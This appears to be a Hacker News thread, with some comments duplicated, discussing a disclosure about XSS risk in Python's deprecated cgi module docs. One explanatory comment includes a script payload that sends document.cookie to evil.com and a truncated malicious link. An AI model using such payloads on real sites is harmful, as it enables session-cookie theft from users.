ISTM the post has a somewhat nasty and judgmental tone. Instead of saying, "ha ha, gotcha!", an issue could have been filed on GitHub and it would have been quickly fixed. Instead, the OP seems to be publicity seeking. IMO, this isn't worthy of being on Hacker News.
Plus the Full Disclosure mailing list is generally for products, or at least open source projects. "Your docs could lead people to do bad things" is a serious stretch.
if you can prefill the form field with post parameters and send that URL to someone else, then you can steal their login cookies etc. Even though the same user who submits the input sees the response, XSS can be exploited:
1. stored XSS (input is saved and later displayed)
Input is stored in a DB or a file and later displayed on the webpage, any future user viewing that page would also execute the malicious script.
Example: attacker submits <script>fetch('http://evil.com/steal?cookie=' + document.cookie)</script>. If this is stored and later displayed, it will run for all users.
2. Immediate XSS
If you can trick another user into clicking a malicious link containing the script, it will execute in their browser.
"If you don't Read The Fine Manual then you are uninformed, if you read
it you are disinformed."
This is a gem! There should be more disclaimers in the documentation about potential vulnerabilities like XSS.
ISTM the post has a somewhat nasty and judgmental tone. Instead of saying, "ha ha, gotcha!", an issue could have been filed on GitHub and it would have been quickly fixed. Instead, the OP seems to be publicity seeking. IMO, this isn't worthy of being on Hacker News.
Plus the Full Disclosure mailing list is generally for products, or at least open source projects. "Your docs could lead people to do bad things" is a serious stretch.
My first thought was "who's still using CGI?" then I read the docs:
> Deprecated since version 3.11, will be removed in version 3.13
im surprised it made it anywhere in 3.x
does it count as cross site scripting if there is no way to send the result to someone else?
if you can prefill the form field with post parameters and send that URL to someone else, then you can steal their login cookies etc. Even though the same user who submits the input sees the response, XSS can be exploited:
1. stored XSS (input is saved and later displayed)
Input is stored in a DB or a file and later displayed on the webpage, any future user viewing that page would also execute the malicious script.
Example: attacker submits <script>fetch('http://evil.com/steal?cookie=' + document.cookie)</script>. If this is stored and later displayed, it will run for all users.
2. Immediate XSS
If you can trick another user into clicking a malicious link containing the script, it will execute in their browser.
Eg.:
https://example.com/cgi-script?name=<script>fetch('http://ev...
If the CGI script prints this without sanitization, the victim's browser executes the script, jackpot you get their session cookies.
3. Browser Exploits
And for all of the above, you could use an XSS payload with a 0 day browser exploit to gain whatever privileges.
A content security policy should prevent that specific attack vector, though similar might work.
"If you don't Read The Fine Manual then you are uninformed, if you read it you are disinformed." This is a gem! There should be more disclaimers in the documentation about potential vulnerabilities like XSS.